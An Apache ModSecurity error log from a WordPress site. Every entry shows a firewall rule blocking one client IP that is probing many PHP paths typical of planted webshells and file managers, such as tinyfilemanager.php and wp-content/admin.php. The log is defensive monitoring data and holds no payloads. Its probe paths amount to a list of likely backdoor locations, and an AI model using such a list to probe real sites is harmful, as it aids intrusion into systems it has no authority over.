[Fri Apr 10 21:49:02.732131 2026] [:error] [pid 13100:tid 13126] [client 20.251.36.179:61317] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "adj_zlzg-ZkZ0InWIP3B1gAAARU"]
[Fri Apr 10 21:49:03.277092 2026] [:error] [pid 13189:tid 13203] [client 20.251.36.179:41709] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fvvff.php"] [unique_id "adj_z5AxiJKPums3eBDIHAAAAEs"]
[Fri Apr 10 21:49:04.052580 2026] [:error] [pid 63134:tid 63155] [client 20.251.36.179:39576] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fvvff.php"] [unique_id "adj_0NFALqPDwWi6eJKpAQAAA9I"]
[Fri Apr 10 21:49:04.777365 2026] [:error] [pid 63134:tid 63139] [client 20.251.36.179:53880] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fvvff.php"] [unique_id "adj_0NFALqPDwWi6eJKpAgAAA8I"]
[Fri Apr 10 21:49:05.643008 2026] [:error] [pid 62710:tid 62718] [client 20.251.36.179:41727] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fvvff.php"] [unique_id "adj_0eME7qrf5xEWWJsdCQAAAgU"]
[Fri Apr 10 21:49:06.758662 2026] [:error] [pid 62819:tid 62829] [client 20.251.36.179:2202] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "adj_0vU20EyPf7NlsldsTgAAAoc"]
[Fri Apr 10 21:49:13.719883 2026] [:error] [pid 13101:tid 13134] [client 20.251.36.179:19398] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "adj_2d8Ldw85818pj2rmpAAAAIE"]
[Fri Apr 10 21:49:18.240458 2026] [:error] [pid 13189:tid 13194] [client 20.251.36.179:26720] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "adj_3pAxiJKPums3eBDIMgAAAEI"]
[Fri Apr 10 21:49:19.958587 2026] [:error] [pid 13100:tid 13119] [client 20.251.36.179:64011] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "adj_31zg-ZkZ0InWIP3B2gAAAQ4"]
[Fri Apr 10 21:49:21.218591 2026] [:error] [pid 62884:tid 62915] [client 20.251.36.179:56933] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "adj_4eUCK1xrhnnmpo2GPQAAAtg"]
[Fri Apr 10 21:49:21.807742 2026] [:error] [pid 63062:tid 63083] [client 20.251.36.179:26704] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "adj_4Z2HtsmV85NqkMfzqQAAA5M"]
[Fri Apr 10 21:49:22.763169 2026] [:error] [pid 13189:tid 13205] [client 20.251.36.179:50515] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "adj_4pAxiJKPums3eBDIOwAAAE0"]
[Fri Apr 10 21:49:23.819425 2026] [:error] [pid 13189:tid 13203] [client 20.251.36.179:55030] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "adj_45AxiJKPums3eBDIPwAAAEs"]
[Fri Apr 10 21:49:24.783825 2026] [:error] [pid 13101:tid 13152] [client 20.251.36.179:2307] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adj_5N8Ldw85818pj2rmsgAAAJM"]
[Fri Apr 10 21:49:25.410155 2026] [:error] [pid 63134:tid 63153] [client 20.251.36.179:2664] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adj_5dFALqPDwWi6eJKpHgAAA9A"]
[Fri Apr 10 21:49:26.330127 2026] [:error] [pid 62884:tid 62905] [client 20.251.36.179:24126] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adj_5uUCK1xrhnnmpo2GQgAAAs4"]
[Fri Apr 10 21:49:27.074556 2026] [:error] [pid 13101:tid 13136] [client 20.251.36.179:50556] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adj_598Ldw85818pj2rmtQAAAIM"]
[Fri Apr 10 21:49:27.705039 2026] [:error] [pid 62651:tid 62665] [client 20.251.36.179:18551] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adj_5zbAH0le57SIaqwmqwAAAcw"]
[Fri Apr 10 21:49:30.037476 2026] [:error] [pid 13100:tid 13125] [client 20.251.36.179:32402] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adj_6lzg-ZkZ0InWIP3B3gAAARQ"]
[Fri Apr 10 21:49:30.758785 2026] [:error] [pid 13189:tid 13192] [client 20.251.36.179:59796] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adj_6pAxiJKPums3eBDITwAAAEA"]
[Fri Apr 10 21:49:31.520626 2026] [:error] [pid 62884:tid 62910] [client 20.251.36.179:29311] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adj_6-UCK1xrhnnmpo2GSAAAAtM"]
[Fri Apr 10 21:49:32.091608 2026] [:error] [pid 62710:tid 62731] [client 20.251.36.179:56226] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "adj_7OME7qrf5xEWWJsdKgAAAhI"]
[Fri Apr 10 21:49:34.260456 2026] [:error] [pid 13189:tid 13207] [client 20.251.36.179:39003] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "adj_7pAxiJKPums3eBDIVAAAAE8"]
[Fri Apr 10 21:51:58.731725 2026] [:error] [pid 63134:tid 63159] [client 20.251.36.179:54954] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "adkAftFALqPDwWi6eJKpwAAAA9Y"]
[Fri Apr 10 21:51:59.485390 2026] [:error] [pid 13101:tid 13134] [client 20.251.36.179:54919] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "adkAf98Ldw85818pj2rndAAAAIE"]
[Fri Apr 10 21:52:00.751173 2026] [:error] [pid 62884:tid 62904] [client 20.251.36.179:40294] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "adkAgOUCK1xrhnnmpo2GewAAAs0"]
[Fri Apr 10 21:52:02.114966 2026] [:error] [pid 62819:tid 62824] [client 20.251.36.179:35094] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "adkAgvU20EyPf7Nlslds0QAAAoI"]
[Fri Apr 10 21:52:03.301591 2026] [:error] [pid 62710:tid 62713] [client 20.251.36.179:35128] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adkAg-ME7qrf5xEWWJseFwAAAgA"]
[Fri Apr 10 21:52:04.246464 2026] [:error] [pid 62819:tid 62844] [client 20.251.36.179:35112] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adkAhPU20EyPf7Nlslds0wAAApY"]
[Fri Apr 10 21:52:05.069577 2026] [:error] [pid 13189:tid 13196] [client 20.251.36.179:2745] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adkAhZAxiJKPums3eBDJRwAAAEQ"]
[Fri Apr 10 21:52:05.766381 2026] [:error] [pid 13189:tid 13201] [client 20.251.36.179:54931] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adkAhZAxiJKPums3eBDJSgAAAEk"]
[Fri Apr 10 21:52:06.547641 2026] [:error] [pid 62819:tid 62838] [client 20.251.36.179:46281] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkAhvU20EyPf7Nlslds1AAAApA"]
[Fri Apr 10 21:52:07.328498 2026] [:error] [pid 62769:tid 62779] [client 20.251.36.179:29303] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkAh8WsSnfLoB8ifjBmdQAAAkg"]
[Fri Apr 10 21:52:08.577642 2026] [:error] [pid 62819:tid 62833] [client 20.251.36.179:21461] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkAiPU20EyPf7Nlslds1gAAAos"]
[Fri Apr 10 21:52:10.311569 2026] [:error] [pid 13189:tid 13208] [client 20.251.36.179:54964] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkAipAxiJKPums3eBDJcAAAAFA"]
[Fri Apr 10 21:52:11.620679 2026] [:error] [pid 62651:tid 62668] [client 20.251.36.179:65414] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkAizbAH0le57SIaqwm-wAAAc8"]
[Fri Apr 10 21:52:12.890489 2026] [:error] [pid 63134:tid 63141] [client 20.251.36.179:27924] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkAjNFALqPDwWi6eJKpzwAAA8Q"]
[Fri Apr 10 21:52:13.432066 2026] [:error] [pid 63134:tid 63139] [client 20.251.36.179:2695] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkAjdFALqPDwWi6eJKp0QAAA8I"]
[Fri Apr 10 21:52:14.624997 2026] [:error] [pid 13189:tid 13196] [client 20.251.36.179:29834] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkAjpAxiJKPums3eBDJggAAAEQ"]
[Fri Apr 10 21:52:16.235344 2026] [:error] [pid 13189:tid 13199] [client 20.251.36.179:27961] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "adkAkJAxiJKPums3eBDJiwAAAEc"]
[Fri Apr 10 21:52:17.132312 2026] [:error] [pid 13189:tid 13213] [client 20.251.36.179:46316] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "adkAkZAxiJKPums3eBDJjgAAAFU"]
[Fri Apr 10 21:52:17.844170 2026] [:error] [pid 62769:tid 62789] [client 20.251.36.179:27940] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "adkAkcWsSnfLoB8ifjBmeQAAAlI"]
[Fri Apr 10 21:52:18.840021 2026] [:error] [pid 13189:tid 13200] [client 20.251.36.179:27933] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "adkAkpAxiJKPums3eBDJlQAAAEg"]
[Fri Apr 10 21:52:20.358398 2026] [:error] [pid 13189:tid 13207] [client 20.251.36.179:46311] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adkAlJAxiJKPums3eBDJnQAAAE8"]
[Fri Apr 10 21:52:21.197035 2026] [:error] [pid 62651:tid 62653] [client 20.251.36.179:33723] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adkAlTbAH0le57SIaqwnAAAAAcA"]
[Fri Apr 10 21:52:21.791730 2026] [:error] [pid 62651:tid 62654] [client 20.251.36.179:27920] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adkAlTbAH0le57SIaqwnBQAAAcE"]
[Fri Apr 10 21:52:22.536353 2026] [:error] [pid 63134:tid 63154] [client 20.251.36.179:65432] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adkAltFALqPDwWi6eJKp3wAAA9E"]
[Fri Apr 10 21:52:23.221645 2026] [:error] [pid 62710:tid 62717] [client 20.251.36.179:65446] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkAl-ME7qrf5xEWWJseMwAAAgQ"]
[Fri Apr 10 21:52:24.164661 2026] [:error] [pid 62769:tid 62786] [client 20.251.36.179:29839] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkAmMWsSnfLoB8ifjBmhAAAAk8"]
[Fri Apr 10 21:52:24.900898 2026] [:error] [pid 13189:tid 13214] [client 20.251.36.179:29859] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkAmJAxiJKPums3eBDJqQAAAFY"]
[Fri Apr 10 21:52:25.637182 2026] [:error] [pid 62710:tid 62727] [client 20.251.36.179:65453] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkAmeME7qrf5xEWWJseOAAAAg4"]
[Fri Apr 10 21:52:26.217363 2026] [:error] [pid 13189:tid 13212] [client 20.251.36.179:29849] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkAmpAxiJKPums3eBDJrgAAAFQ"]
[Fri Apr 10 21:52:27.079899 2026] [:error] [pid 13101:tid 13154] [client 20.251.36.179:46868] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkAm98Ldw85818pj2rnlAAAAJU"]
[Fri Apr 10 21:52:27.731054 2026] [:error] [pid 13101:tid 13139] [client 20.251.36.179:54947] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkAm98Ldw85818pj2rnnQAAAIY"]
[Fri Apr 10 21:52:28.403037 2026] [:error] [pid 13189:tid 13192] [client 20.251.36.179:54323] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkAnJAxiJKPums3eBDJsAAAAEA"]
[Fri Apr 10 21:52:29.058052 2026] [:error] [pid 62710:tid 62724] [client 20.251.36.179:40319] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkAneME7qrf5xEWWJseRQAAAgs"]
